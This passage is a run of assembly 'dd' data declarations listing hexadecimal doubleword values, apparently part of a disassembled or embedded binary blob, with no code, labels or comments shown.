0AD814A72h, 0DD8E38EDh, 3CCDE92h, 0E66971C7h, 2F701000h dd 2A2CBEDCh, 8B8200C4h, 0B5A784F3h, 402C721h, 0D9E94507h dd 2802C0C8h, 2F85000Ah, 0BF619F94h, 560041D2h, 39F8F00Fh dd 43D795h, 0DE7D1324h, 0FB1EA35Bh, 0D5B15D00h, 41E8D4CEh dd 0BF9C0011h, 1C34D138h, 50000E13h, 0C2496F55h, 33A6859h dd 0DA2BFEADh, 828831E9h, 63073C9Ah, 5EAC6236h, 6A5AA80h dd 0DA3D0074h, 7820344Bh, 0D73B8F2Bh, 6EDF8053h, 3FFEACD3h dd 957AFDh, 0E820DA74h, 911F6238h, 32BDCD07h, 1880A637h dd 0F3A027h, 0E5FC8088h, 1F082384h, 0A3B3F900h, 0C3BFF72Dh dd 0C08BE8FDh, 0E7FADF20h, 9AB0AFFBh, 18B99900h, 2A7AC04Bh dd 0AC5B03E0h, 0D071EA7Bh, 0F99F2998h, 0A8EE8639h, 241FFFB6h dd 8440286Fh, 3A887916h, 0C61E1891h, 8535295Bh, 522AFD00h dd 15F5C14Ah, 0F64D001Ch, 0C50E41DEh, 0B876A134h, 0F9B22100h dd 0ED570555h, 0AE1300CAh, 8DA4C1Fh, 72007F82h, 3A7196CEh dd 0F025066h, 44AFAD77h, 53A509C0h, 0E8E8FF9Bh, 7874BE00h dd 67EAA9D7h, 0F5E10F93h, 0D50308B9h, 0E9B02A69h, 0BF00B32Dh dd 87516F54h, 63C059h, 61067678h, 0D6B53EA5h, 13BE3600h dd 290CDD3Ch, 969700C4h, 55E4F737h, 7C7ABC02h, 0E916987Fh dd 0F400B21Fh, 9FADFF90h, 5D431EA6h, 7980BAA7h, 0C4BAED16h dd 0D007FC6Ah, 28FA1580h, 56E00500h, 573500D9h, 8AB58FC2h dd 0F40BBC29h, 80777BD7h, 3466B3C8h, 17AD00E9h, 188CCE8Bh dd 500C9B5h, 264194B0h, 1E756AC1h, 0CBA1528h, 7F11B190h dd 0DA47BD00h, 0D985F106h, 0E5F40093h, 9C91EE8Fh, 5700ED9Dh dd 0D68983ACh, 72BA67F9h, 9FB900C5h, 6BE630E4h, 9500E26Ch dd 0C86317E9h, 0E2FD58B3h, 19E40093h, 20BD839Fh, 970081C4h dd 3EEA8FDAh, 7C808CAEh, 0BA7768h, 0A44DA3F2h, 0E6CF2D0Bh dd 745C2490h, 0FD2600AFh, 9BE4520Ah, 85FE25h, 0CBEB464Fh dd 868DFCDAh, 8E5DF007h, 5770A8B4h, 0A5C1D9h, 22E14783h dd 0B350254Dh, 0C588B900h, 0B09C9D01h, 59F01641h, 0DD0B03FFh dd 0A6B04D89h, 9D766611h, 0E88AC301h, 0DA58F0AEh, 0FC2DF8EBh dd 366A008Bh, 751141Fh, 13008F54h, 0DF237A5Ah, 2C606F66h dd 13C20670h, 50FD0068h, 855E5A65h, 4C052605h, 0E6C31D2Fh dd 4A15F0B1h, 4470DCh, 944684C7h, 938C0B3Ah, 28D39500h dd 0A105F416h, 7C1E1369h, 331C00F9h, 81B5462h, 119A3D00h dd 0E2A55950h, 4D72A8h, 0D8C76EF6h, 578E956Fh, 0F541C500h dd 0A1F31C32h, 81B501D3h, 2558DF9Ah, 0E049D8E6h, 874C6E00h dd 99591D08h, 0DCA40077h, 9D117C98h, 0ACE657ABh, 1D1CF500h dd 70F993BEh, 36840018h, 0B79E834Bh, 6B0F8042h, 0E01E7C24h dd 65B0AFECh, 50FCB1h, 0FEEB389Ah, 2AA32587h, 0F4971B00h dd 0C005DADCh, 798100CCh, 0E1EA549Eh, 98003AFAh, 0A0F10494h dd 3E06622Dh, 0CC870C09h, 6F5608C3h, 26C4F2C0h, 0FB00799Dh dd 0E4C88B8Ah, 45D0BAh, 0E59C7B8Fh, 4DD7232Fh, 0A9D19A01h dd 58C36722h, 0E7AD8D4h, 263F116Ch, 6242FE80h, 0A70F3A66h dd 807D0678h, 84897A36h dd 5FBC1C53h, 9D6200ADh, 38CE9644h, 0ECC03BFEh, 33FFDD4h dd 0EB798B7h, 0CBCDEAE0h, 15B44600h, 5C38457Fh, 538009Ah dd 0E3541225h, 0A7C028B5h, 0E26A2888h, 6D20096h, 0A48A25ACh dd 94F0F91Ah, 804C0E3Ch, 17A1B399h, 1E8EC5C6h, 0EA2656h dd 809A27E3h, 525C7BD6h, 0ABB750B4h, 398C9F00h, 0F4D5FCBAh dd 914900ACh, 0F2F67E90h, 0E300186Ch, 2D5CFBFAh, 0ABA136h dd 5F4BD7DEh, 0D6F4E735h, 0D81C6B03h, 90D31EF9h, 58AFC790h dd 0E80008E5h, 13EE0673h, 3EE143Fh, 5B7EEC00h, 82894A8Ah dd 0BE7D0743h, 0F0A90A20h, 3B8D7A96h, 6304DE00h, 9FB7CD9Ah dd 10531467h, 0EA40F4F6h, 0EDF00038h, 0E0EFECACh, 0D003D9C6h dd 0A980E1DDh, 0F597E091h, 5649009Fh, 815F35EBh, 3800F155h dd 0A309592Fh, 173EDCh, 0E609DE3h, 657E7A91h, 0BA1A3F00h dd 5C43B8F1h, 7F7132h, 532F86F5h, 185D8DBEh, 70013EEh dd 20CBABAEh, 1FC825h, 9AA423B6h, 55B97217h, 0B800CAE8h dd 0DD365DAFh, 15447B0h, 903A213h, 0D0FED686h, 7E00DFCDh dd 0F44A3DE0h, 3DC64C1h, 44F5021h, 0EB896DAFh, 0F660F6DEh dd 2F00D2CBh, 0E0A24EC2h, 3871275h, 90C19C62h, 1ED82631h dd 0C7001977h, 2A186DEBh, 0DCB7A0h, 1322A66Ah, 745BF9B8h dd 8252EE0Fh, 0CC9260EFh, 1D507Dh, 5A23676Bh, 564FB9E9h dd 0D49AA000h, 59FFDC75h, 0E3D93BC4h, 5DD2A382h, 9EC06BC1h dd 263E0F7h, 90CA5B8Ah, 0EC67E4h, 68CFF5B8h, 791788CEh dd 0E15A5800h, 0AFEE604Fh, 8B161C7Eh, 95A34228h, 3D603399h dd 0EA00B9B0h, 0CDD6E03Fh, 0DB2363h, 6EEF9FD2h, 8E9822ABh dd 4D6B1600h, 39AF62Fh, 7C5D001Eh, 967A97C9h, 4C7F20EAh dd 1A5C73Dh, 4BA46B2Dh, 76E56C9Fh, 0AD44CE80h, 3F7A7CB7h dd 3ABE8F00h, 0BC260A9Bh, 67663942h, 0F0B1E780h, 7F08880Bh dd 0ABC20400h, 0CB370D17h, 0C63D0302h, 0B1D3F5B6h, 7816E990h dd 0BF61876Eh, 1377FE00h, 485ED033h, 0A401A664h, 0E49137EFh dd 78B0F0BDh, 0F6346714h, 81C80008h, 112562A2h, 0E1311D97h dd 899E803Dh, 2838CA86h, 60359C33h, 4B46003Ch, 0A6C4787Ch dd 0F077605Eh, 0A2F41300h, 0DFFC24AAh, 0FA350031h, 5484FE98h dd 1600AB38h, 0AEB78A9h, 1FA53CE3h, 9E1CE961h, 0B010D86Eh dd 0B9C33FECh, 0E08BFFC7h, 1A4428Ch, 0D855807Ah, 8A7FC4DAh dd 1483BC20h, 640E7B10h, 7700CCE8h, 0DA9B7585h, 7DBD6800h dd 0EFC96012h, 91B0769h, 0E0BC9D1Eh, 0D5B377FDh, 800EE900h dd 7DE7B7EEh, 3C100E1Ch, 0FC00D4C9h, 28C4DEDh, 6A8A0900h dd 8BDA832Fh, 0EAA807BDh, 0FE2BB21Bh, 2780BEAEh, 817E9DCBh dd 9A00EFF4h, 2D1595C7h, 0D13170h, 722C1913h, 55E7C5AEh dd 6E7D0100h, 0A1B194CBh, 24343A53h, 7B3C0D00h, 71D92169h dd 0E833C103h, 0A130F6DDh, 209FA395h, 9B200049h, 33CA9A96h dd 0AC00A7E8h, 48A8F95Ah, 0F511162h, 0AEFC185Bh, 0A645C0C3h dd 0F4857FE0h, 14AA1207h, 8FBE87C7h, 0B81C002Ch, 6094E8Ah dd 6D1195E1h, 0EE600864h, 8835A921h, 4F1F00ABh, 82C9B115h dd 35B097BDh, 5B9358C6h, 0D353028h, 76183C08h, 0C544A400h dd 968F2F60h, 3E4E00C3h, 0D4F5270Bh, 77582658h, 0AD7A0057h dd 1ECA6E3Dh, 3248C33Ch, 94F047DFh, 0F70E390Bh, 8C4012EAh dd 0E24B694Ch, 305A0047h, 0E8776FC0h, 32012E3Eh, 5E9962DBh dd 6DC9466h, 0B7F53390h, 0FC11661h, 0E670A844h, 9FB66C00h dd 69501798h, 0C97D66h, 0E84649B2h, 742FE2E3h, 0B65F100h dd 6FE0BDD8h, 0CD70057h, 0F7413A88h, 58953695h, 2D8C00A3h dd 0D9DA4481h, 9E713834h, 363C4D00h, 240957C9h, 0CC5E189Bh dd 0C48118CAh, 0C2E5B100h, 0F1C6961h, 588000FCh, 5C8A2915h dd 8200735Eh, 907B109Eh, 7FBCB022h, 32E4ED46h, 0BD8E0051h dd 0BFFF11B1h, 0A3031C68h, 0EC4CE6A1h, 46042C9h, 44EEEAB1h dd 0F8042A18h, 0E307E041h, 5500E51Fh, 2AAD1140h, 0BC5F5C87h dd 9A81BE3Bh, 6FF12AAh, 0E46DE960h, 2A07F05Ch, 0FBDD1661h dd 154E4230h, 23F83089h, 0C0138C50h, 0CE047107h, 9DB08D73h dd 75962A0h, 0D2AA3125h, 0CE2E7C0Bh, 0FA1403E0h, 0F3206652h dd 18A3FAAAh, 780081FAh, 3CC7D4ADh, 3AC816EAh, 0C8606284h dd 0F7FEF486h, 380C2500h, 0EEE9E1B8h, 11266008h, 0FBAB8C4Ch dd 53506D00h, 0AF1F1531h, 0A2E32E76h, 8018353Bh, 0FE8AC2C2h dd 0B86BF90Fh, 99690449h, 67808284h, 32B4E87h, 0D41C5150h dd 88009479h, 0CD6F3A46h, 0DFF137Dh, 2CCB8C93h, 83B40850h dd 0FA8D7E18h, 0E2EFBD20h, 18350122h, 72A18F3Ah, 9E618312h dd 0D50451Bh, 33E9B5B0h, 0C7200811h, 0E6C8EA02h, 3E398CE1h dd 2B077F11h, 2FEFE2C0h, 0F156E528h, 0D027C240h, 48A0E0C0h dd 0CA49004Fh, 1DB7CF99h, 23032047h, 553FAAF3h, 6F180042h dd 30A82524h, 80683A0h, 0C16C27A1h, 2016FE40h, 0CE01B9F1h dd 33A2946h, 81C88AD2h, 0A8FA003Ch, 0F8F56114h, 71727591h dd 60FCE73Dh, 5D97E918h, 15D000CCh, 983F5E7Eh, 5A151E04h dd 720D305h, 5C0EF52Ah, 3E7F66C2h, 1FB820h, 8AD5C3ECh dd 302334C0h, 0A067C800h, 81EF960Ch, 932A0657h, 18DFC552h dd 6C39910Ch, 3C69C8D1h, 410F9208h, 20150EDEh, 5063C683h dd 55042A8Ch, 28CEEBEDh, 0C45703A8h, 0D55369D6h, 685D68ACh dd 402010DBh, 0DDAD96FBh, 80BE7C31h, 1E1AB991h, 602BA321h dd 6264D182h, 0D0400846h, 98475665h, 0DB965800h, 9F1FA248h dd 0B408D481h, 0C9C53A10h, 288D6584h, 0B89B2ECBh, 404015D6h dd 4AE629E1h, 6C100420h, 2A2A4714h, 4D39C035h, 5CCAA0DCh dd 880F3B8Ah, 0E7A1C0B2h, 20DB4229h, 0FC005D20h, 3111A187h dd 3EBE19B9h, 501ED2FAh, 0A5C54081h, 0FDBDB714h, 0EF48002h dd 98E0EB8Dh, 1163AA20h, 0F2BA4031h, 71011EF0h, 0B6BB4BB9h dd 211BBF38h, 0CAB0E0FCh, 0B24676A4h, 0B1FB53B0h, 7D1A8810h dd 64284A8h, 93FB3680h, 7C42ED1Bh, 1E1ECCA2h, 69127909h dd 4BA851A0h, 52107920h, 0D5A94851h, 0A1050E03h, 784E1785h dd 41C01060h, 0FFC2D023h, 0C11504D1h, 0CD445527h, 0A1DE4A8h dd 0B5BEB008h, 0C710F882h, 404CC899h, 0F4FD081Ch, 0ACF881E9h dd 5F479Ch, 844A1A8Dh, 8FAB15CCh, 509D1888h, 760C1DBAh dd 0C0B99364h, 9EA446E9h, 0C2A0CC50h, 4A10281Dh, 14A8FAB7h dd 81809D43h, 84DD6B6Ah, 0A7A1BA8Fh, 2F1DDD40h, 0E01E158Dh dd 0FCB32083h, 1068814Ch, 32844029h, 4602C1Bh, 4F0C71F5h dd 3C082A7Fh, 40EC59EFh, 85D8E408h, 1CF04C62h, 9C627E04h dd 407C791Fh, 8C6C8287h, 40BC7BFEh, 0B3C74443h, 7A7962D4h dd 8030533Eh, 7B28B7C0h, 828F786Eh, 67BF974h, 0A6BD0A14h dd 0F140622Eh, 62418068h, 0AAB7FCA9h, 0D9C61614h, 0DF2C60E3h dd 0B516BC91h, 0CC2A6D43h, 0D492377h, 811C4CA6h, 54B11E88h dd 10842575h, 930ABD6h, 0B9E32D6Bh, 74C0A448h, 68C64D13h dd 8CDEBCF0h, 0FBA2028Eh, 7F771917h, 5310338h, 0B35646E1h dd 0A9C0BBDAh, 6DACF8h, 9DDF47ECh, 7DBF12D1h, 40975500h dd 5B16A9E1h, 57D27C7Ch, 402220E9h, 59CE2F08h, 69600081h dd 0BE56875h, 6596BA00h, 0F8AC0ACFh, 9FC70386h, 954217D5h dd 4120F1E0h, 0A0FE32E2h, 0FE3283Ch, 821BDDEh, 5EC6E063h dd 9D4781B1h, 38BCB2C4h, 0AA90108Ah, 0A5BAA88Ch, 1C988140h dd 1FA020EEh, 0BB60A621h dd 2BE9D50Ah, 0C2203A33h, 41CBDE2h, 1DEE66A3h, 424E7C9Bh dd 0AB180CFh, 23268A52h, 56E1A1E1h, 20B2C96h, 0E8FDF392h dd 0EA213EC6h, 2C94594h, 297149A0h, 54521F15h, 0ABB0C02Ch dd 0FF575350h, 97FE8440h, 0A1FA228h, 89481C6Bh, 5E4AF89Dh dd 0C3013347h, 0D8AA420Ah, 8205EB3h, 5B2C965Ah, 0D5E1B8C1h dd 463E1F9Fh, 0AA158EC3h, 2F96016h, 0CB07804Bh, 6262F10Ah dd 523EA028h, 40D4E0EEh, 0EB84E002h, 293EA1E1h, 40606292h dd 1C9A884Dh, 3ECF9B47h, 7EA02094h, 0EF238443h, 639AE2C6h dd 0CD0A809Ch, 20F5F7B9h, 42BD0AF0h, 0E37C021h, 8F9F5236h dd 0F0C0F694h, 575F7151h, 0F28A4005h, 7FFF80C0h, 6015B568h dd 0A90A9003h, 0E0D285B0h, 603FEB9Bh, 0E492397Ah, 28A04F63h dd 902023C5h, 0AEC000ADh, 0B66098EDh, 72F8B8A5h, 6A03A477h dd 0EFF5A0B5h, 0ED380373h, 2977D620h, 0DD0F5118h, 2A756AB8h dd 21209BF2h, 6EE2AAD2h, 0D4940067h, 780AD27h, 42263728h dd 192BC6A9h, 0B218ED7Ch, 0CC303349h, 466644B3h, 850009EEh dd 8F393043h, 26F0A5D2h, 0AB32CFh, 0B08E20D6h, 5B18AC2Ah dd 7F208655h, 0C4410074h, 0F1AE11CFh, 0C607265Ch, 9E9283F8h dd 37E0C0CFh, 2CABEAC1h, 360B499h, 0F967A021h, 0B081A5CAh dd 1BD108Ah, 8BE3172h, 0FAE1FD00h, 2D8482EAh, 91678616h dd 8314701Eh, 6027CEC8h, 5093B38Fh, 0E520C19Fh, 80BD0403h dd 0AED8C768h, 801A89E8h, 6C075B70h, 0E1D04EC4h, 9C5F1210h dd 0FE30050h, 0A0AA4611h, 6718DE97h, 8A80FA64h, 0F05F5423h dd 0A1EC000Fh, 0BE3E509Bh, 932CA798h, 0D00B789h, 13F19280h dd 6B7164h, 5D95AD72h, 871D79A4h, 62A16F00h, 0F8D8EA81h dd 9ED60047h, 0A4559CB2h, 5E01DDF6h, 0C80F68C3h, 0E0EB438Eh dd 2E620h, 0C62B52Bh, 0EB263A91h, 0B5A1772Eh, 0A05F500Fh dd 6C0F8547h, 0BD7D0675h, 304FC843h, 57120201h, 2228F739h dd 0FD4900E3h, 0AE1AFC1Dh, 60C84FDFh, 0D1638010h, 57EADEC0h dd 5D79B007h, 9BB02ED6h, 2FDC55h, 67A64929h, 84C6BB56h dd 51380161h, 22FFC175h, 0CB004C78h, 2469C44Eh, 75636819h dd 93471E31h, 7995C055h, 0D1219A03h, 67026890h, 99B11581h dd 0A8B5C2h, 9B8955A2h, 69182229h, 0D6814376h, 0DEA4FEDEh dd 0DBED0418h, 782B001Bh, 0DDBE5DE7h, 302A58C8h, 9200A547h dd 6BCEEA05h, 0E1B5D08h, 0A9481E2Dh, 5583FFDDh, 4D53EC78h dd 7AB0610Eh, 1D5AC004h, 0C0509713h, 8D8E6718h, 0E93EBC0Fh dd 0ACFB2A07h, 39DE52FCh, 0EB28DC00h, 50BD36D7h, 3007CCF3h dd 792054B8h, 1430C208h, 15A7A15Ch, 0C474005Dh, 0F16A7CE5h dd 0C150A00Ch, 78C09360h, 0DBBA026Fh, 0EFF0A8A7h, 330E0006h dd 55BB83D7h, 5180F849h, 9091D0F6h, 5F6E7F0Ah, 0CEA48370h dd 581E9F25h, 813BBF79h, 41721FE0h, 5DD8B574h, 9B0C01C9h dd 5AD80162h, 0A30C20ADh, 98FA1E30h, 122F16A8h, 40D3071Ah dd 0CA7D3740h, 0C9125228h, 7400B9EAh, 0D6ED68B4h, 886354F1h dd 8FEB0624h, 81ADEC19h, 4081D881h, 0C99E50F4h, 24BF5624h dd 77B3D43h, 0B8E82978h, 0F966E643h, 4386C04Ah, 88939038h dd 0F319EB8h, 67B6E3C9h, 3EAF4A81h, 0CB424DCh, 0E76D8402h dd 43BCA97Dh, 1523F060h, 0C4F17474h, 819BFC10h, 8F29D93Ch dd 41832610h, 3A79015Eh, 0C1949AB8h, 7CE4FEh, 0B47A578Dh dd 69193181h, 4BAA8C9h, 8E40254Ch, 2BEE5D9Dh, 81285892h dd 0E1110CC1h, 0AD1028F5h, 154584B4h, 491C4923h, 97003D20h dd 919931B4h, 1BB009A4h, 0AE2974h, 808C26AAh, 0ACC4C19Eh dd 5D026818h, 503D320Ch, 1CB48A2Ah, 0F8D0401Eh, 0B9744501h dd 88C95CD7h, 45026018h, 0C905FCDh, 7199555h, 0B84B7828h dd 86DBE913h, 0DF135820h, 8402824Ch, 30434FD1h, 0BF6B69C0h dd 6FD160A3h, 840701ADh, 0E61B244Ah, 48581949h, 0A89E2A28h dd 3C436B21h, 0B1E2C080h, 0BD7B90A3h, 129B2700h, 0EE0C1722h dd 0FE290187h, 6C1F485Ch, 0D63BD001h, 18012D7Bh, 0B2B8129Eh dd 27E0114Ah, 0B8400BCh, 6AEF578Ch, 0B7F0EC49h, 0D9A5ED07h dd 0CC538B90h, 0EB91A025h, 1F160C51h, 45484FE5h, 0D0C78C1Eh dd 7AA38D40h, 173BF8h, 942AE28Bh, 0CD9FA28h, 57AE9A00h dd 0DB895458h, 0AB973CC8h, 85A86A02h, 3C90A37Bh, 0BA22969Fh dd 26B823D8h, 619CF908h, 0CB1E394h, 2BAC216Fh, 0C198FC08h dd 8B5B3E4h, 15A146EBh, 237847F7h, 3FA987C8h, 988E8835h dd 0DFC490FEh, 9990312Eh, 33919310h, 0B4BB531Eh, 8182714h dd 229F7E7h, 838B3392h, 6F278881h, 0E0608410h, 0B331B2F3h dd 21301607h, 0E3018ACBh, 128650D4h, 0F69B2080h, 5CEA26F7h dd 460BD52h, 9E17B4F1h, 20F40445h, 29FD9B30h, 6C7C60A0h dd 18109CACh, 0CF84AC47h, 892B608Fh, 0E2D845BDh, 2D4DD8B8h dd 0FD7C2B86h, 0F7830A9Ch, 0C2A4913Ch, 0AB66FCh, 2C622D10h dd 4D040C90h, 4F121F92h, 0D9F97880h, 0A3472A98h, 8564241Ch dd 30C76530h, 0BA2EE358h, 43A1E884h, 3E11148Ah, 0C434CAF4h dd 0B0262BE4h, 7C3C9C53h, 444B0CE9h, 40A9A7Bh, 9437162Dh dd 10184D14h, 47C59F44h, 4B542190h, 114823D9h, 3E24BD0Ch dd 86A23EE4h, 33131880h, 27206CA9h, 44537500h, 0FE4672C4h dd 2BB1CB08h, 0F4466043h, 6F14609Eh, 34C88412h, 47701848h dd 3C2B8601h, 14049C46h, 2B22B4BBh, 37D91013h, 0E208C879h dd 44192445h, 0A4BBD85Ch, 6F6C103Ch, 34B4CFAEh, 0E29BC8C0h dd 3CA49CEBh, 0B9297018h, 0F4478417h, 0C2119B10h, 1BB5A5CCh dd 7F1884A2h, 5B218C8Dh, 267C882Fh, 75FC4794h, 24FC11D0h dd 0EE042C93h, 8304BA25h, 901C0455h, 108FBF31h, 6A2D0743h dd 144411CAh, 8B34D862h, 0C1288631h, 2BAA8310h, 616EC885h dd 0C6B6C9Ch, 0F860A687h, 4C578695h, 7DCD149Ch, 0B878C9D8h dd 0A60B7B08h, 837FF9Ch, 0C2989C24h, 27308FF7h, 5449A40h dd 0D4FD607Bh, 29888098h, 0D216F9F4h, 38402251h, 0B8D8BBCEh dd 209E67C7h, 69803F27h, 76D9AEB2h, 56E82B09h, 0A8A48352h dd 0FDB03EBDh, 309A4398h, 6262D64Eh, 98B7F7D9h, 2704B524h dd 98F00745h, 65C42481h, 8F989128h, 0F8981867h, 2258D995h dd 8AD37C1h, 4C91C158h, 34DCBB19h, 0A005282Ch, 0CEE330h dd 8139F008h, 94484C90h, 8388502Ch, 4DE2EA92h, 0DB733003h dd 0A19717Dh, 52BA4578h, 500F9794h, 0A9A09408h, 76F0538Dh dd 0CFF5F20h, 4E2EAC16h, 0F50CBC81h, 115B7B9Ch, 0EFDB3076h dd 0AB58FC29h, 0E48F3728h, 592F1409h, 92A400BBh, 189D038Ch dd 3826B47Bh, 0A490C83Ch, 0F6237301h, 5B2D1580h, 25A29C51h dd 29FD0474h, 5A893CEh, 31D8E6FCh, 0C2B5A4h, 481A2D18h dd 10051042h, 86F8B4C9h, 2702293Ch, 13AB5A7Bh, 104460C0h dd 0B1BD2C38h, 0E6D000Ch, 28FA1178h, 0ABD398A8h, 56021203h dd 0C0FD8022h, 0D16D6C29h, 6F0368E0h, 0B5B2BFABh, 0C5DF510Fh dd 0C149026h, 6F266020h, 8C793080h, 24488D12h, 48EF071Bh dd 2CA2C62Bh, 9C088445h, 0AC4100C4h, 24E318D4h, 186A9820h dd 8849E8CFh, 2DF4AF3Ch, 6006C8B8h, 573B42A1h, 9A0405E9h dd 2161F45Bh, 0F8D28DE8h, 30A1D9B3h, 0A73C10BDh, 87FE88E0h dd 89185162h, 0E094A823h, 0F77CA9E0h, 5FBF01D2h, 0C1B9374Bh dd 0B2484022h, 0A6888C54h, 5484FE09h, 19D6C81Bh, 681D8B18h dd 800C50ECh, 7D0CB4D9h dd 0A0A86EFEh, 2685FC89h, 3E307813h, 281EB89Eh, 15BEF018h dd 0B4C39BB5h, 0DD0C1800h, 15371A9Fh, 0EC41CD2Ch, 83047824h dd 9003B4BEh, 0F1CE9D86h, 7031710h, 877B8C06h, 30ED681Bh dd 4152783Dh, 0D717088Ch, 148415E0h, 0C0AFC862h, 4AFE9C60h dd 471EDC92h, 0F484EB3Ch, 690E8F49h, 99792042h, 0D9F70040h dd 0B0B8E07Eh, 291EEA04h, 0B88817B7h, 8EEC099Bh, 0D8206074h dd 224EF206h, 88710E18h, 0E2C46D28h, 0D3490B6h, 592D1F14h dd 282C42E8h, 0C40B2C50h, 202A2B63h, 0E5B5482Ch, 58A8C2E6h dd 3D43A46Dh, 20102805h, 0A042DF65h, 81122AFFh, 27338948h dd 847451A8h, 3BC11EA8h, 56AD0C15h, 110C93D0h, 0C107FF6Ah dd 260F3CB7h, 8B487480h, 0F4DA0B16h, 0C74984F1h, 9890BAB4h dd 26AAB05Ah, 8A704D46h, 842C1429h, 0C11DEA91h, 26B22Ch dd 1AC589CEh, 18FFEBCCh, 10354044h, 7805412Ah, 24205ACEh dd 90FA70CFh, 0EEE80A4Ch, 0A4481190h, 4A9902ECh, 0B2019E18h dd 16020824h, 3ACDFE0h, 1588324Ch, 630074Bh, 4F6315EAh dd 0BBC00281h, 269EB8C1h, 17CA0880h, 7A2850D4h, 9658BCF3h dd 9A891004h, 319DE84Ah, 0FE2D5028h, 7470BC35h, 40A4AA20h dd 2016D13Ch, 89FC55FAh, 8400F4EEh, 10F2CB1Dh, 18F77D93h dd 11D1A1BDh, 0FB10FAB6h, 6601308Fh, 0BE313B5Bh, 0E3A52150h dd 78183807h, 2FF0AB1Eh, 63EFA333h, 748F180Fh, 18ACF3A8h dd 34A8B9F0h, 26015365h, 2938F0F4h, 0C23098A0h, 0CB9C0087h dd 0DA18A9CAh, 3D1E89E2h, 4EC345BCh, 756DEh, 0C317BD71h dd 4B8F6C25h, 6D020D01h, 0FFF4838h, 0A01124E0h, 2A299Dh dd 0D894E341h, 0BF7AB905h, 386C38h, 904B6489h, 305E18B4h dd 8F5910F3h, 7700BD50h, 93D3EC7Ch, 7F4037D8h, 98150C53h dd 0D2280D5Eh, 0BA208A54h, 0A3F02A7Dh, 50E8F160h, 6C23CECh dd 9CFD670Ah, 290061E2h, 6F124F3Fh, 549AF5DAh, 1BAA84Eh dd 9E538A55h, 0FF6884A5h, 2837B03Ch, 623D10BFh, 93780A45h dd 0D488A4F9h, 72CA1D9Eh, 88A31610h, 1074D1F4h, 0DBCAB4A8h dd 1592BA0Ch, 0DC811D0h, 0BC3E76B9h, 92F6E831h, 651040EDh dd 4E2276BAh, 4610A8B7h, 3011C0B5h, 0D14D92B9h, 0F60531C1h dd 21805676h, 112BF72Fh, 0E005AD66h, 0B23C04D4h, 4630DC40h dd 3E24AA39h, 0E906156Ch, 31619BF5h, 6401A472h, 87F7CC69h dd 77F8BB4Fh, 184675DBh, 60C0A879h, 0AE77E7C9h, 7D0289E8h dd 0E25C316Eh, 7960D73Dh, 3350BC94h, 0BB0079DCh, 386BD96Ah dd 2A04C7A3h, 0CF4BA49h, 2D9483BCh, 1900CD28h, 0FBEAA3CFh dd 60B52A26h, 0BB631834h, 0DE483AD5h, 0C2A11F50h, 55817A40h dd 920FA32Ch, 0D758A018h, 18AB0A10h, 15ECE43Ch, 8906F8E0h dd 0D0FE8C77h, 873FAEFCh, 0BC3F83C6h, 5EC67h, 2E9C7118h dd 0B618F820h, 71A7A1Ch, 25B13918h, 20578011h, 9C5D71C4h dd 3C7B3488h, 0C9067232h, 40190F3Ah, 0A0A61F32h, 1CBD2204h dd 0A990448h, 0B102EF0Eh, 6488A591h, 0C0772440h, 18970BE1h dd 79A68562h, 683146B8h, 1DF9A80Fh, 27B1024h, 8C5E248Eh dd 0D443F023h, 0F83B70A1h, 0C00597E7h, 0E29D6CF9h, 3314BC14h dd 0E0CB3905h, 0C66D1139h, 99E18F18h, 0BE88B11Ah, 24BD6108h dd 4F03B9BEh, 65FAEF04h, 645E1134h, 8EA4AC03h, 0F7C09FD9h dd 330076Bh, 98CA0D70h, 31DE84F5h, 10C493F0h, 2649D127h dd 0D0178C02h, 0C2F6F423h, 9A1884C6h, 999ED806h, 35709100h dd 0B79F4B11h, 0AA890490h, 81859AF6h, 0F0BA1544h, 0CDFE528Ah dd 98105E06h, 61C0160Eh, 0A1F238A5h, 0C98020D2h, 0B51984FFh dd 34C021E1h, 157CA52h, 25B61598h, 8C1DEBFCh, 0A8C61A18h dd 18A89179h, 3E4BF93Ah, 0B09834E0h, 0F8069C24h, 29B0BE0Dh dd 2C4F8FD4h, 590634Eh, 3514D91h, 920F1A5Ch, 0EC802A8Ah dd 91FBBAFFh, 7854DB49h, 9BF69806h, 4011F14Ah, 0B8442B86h dd 292F80AEh, 109941CDh, 209CC1D9h, 0D43F0B16h, 7ACFA8Ah dd 0BADDFE32h, 0DC9880ACh, 50206A73h, 0F687A703h, 2669F6Ch dd 9C8834F8h, 2440C6DBh, 7C1346BAh, 0BCE5h, 0FE7F48ABh dd 0BF213C12h, 382C3D84h, 8710971Fh, 957C8247h, 0A6A884A0h dd 0D0B5748h, 800584BCh, 0CD3E595Ah, 0E1B80E1Bh, 0ED40991Ah dd 0A94B96F2h, 7442448h, 4CC91809h, 981CBB50h, 98A1E90Ah dd 6A1164h, 26F59C7Bh, 83994BE4h, 0ECA0FEDAh, 86A1ADCDh dd 0F49h, 0AE15B872h, 54308D7Bh, 29DABCC3h, 69789F88h dd 2247948Eh, 4D0C4AAh, 0CB009E72h, 0EA92F5A3h, 0E5119F64h dd 0ECD0D8C1h, 0D8481025h, 938985Eh, 12B8FF69h, 2CAB5090h dd 90E56C09h, 986002B7h, 72284826h, 39471886h, 894B1131h dd 0EA1EDB98h, 0F970E073h, 2C71E9DBh, 824CFC84h, 0F78EAB79h dd 0B2C0A4C2h, 9898D4C1h, 7634D0B0h, 0D868795Fh, 4F0C40EDh dd 10007673h, 0AB5BFB91h, 7333087h, 0D959C5F0h, 0BC1A108Ah dd 930181DDh, 0EC5DB884h, 0D86496A8h, 1C502677h, 6105184Ch dd 0BC03218Fh, 8A932E35h, 571106BEh, 71C0A6EEh, 62108705h dd 2CCCDB53h, 0D41CA08Ah, 4780451h, 849B8B39h, 0F9A86150h dd 4C400965h, 53E11304h, 34C08CA6h, 2A877490h, 1274E8A6h dd 861D758Ch, 0C8DA7613h, 0C450D454h, 44888CA5h, 601F480Fh dd 4B963612h, 64021628h, 0F06D038h, 172B0A51h, 8880900Bh dd 483CA86Eh, 204AA230h, 0A7C455DBh, 7CA5B8C1h, 0D080D65Ch dd 0B692FA11h, 0F73F8761h, 0AA5AB980h, 1749B082h, 0C894829Ch dd 0BDC23D14h, 5D8448CEh, 0F36D383Dh, 31B83893h, 0F86E05B8h dd 5114A896h, 80BC8FBBh, 0BDF9E813h, 0E611C0FBh, 3F742588h dd 66511E12h, 48A78040h, 262476B0h, 0E4CCDDBh, 0B3C7638Ch dd 5D7FF218h, 71A14444h, 0B60C60E9h, 0D4AEE13Ch, 99789574h dd 62031E13h, 0D73B7C20h, 3887007Ah, 5AB8A2C9h, 98E810CFh dd 0C0D0B66Fh, 568FEC4h, 9AF6443Ch, 2408B824h, 9FB9C381h dd 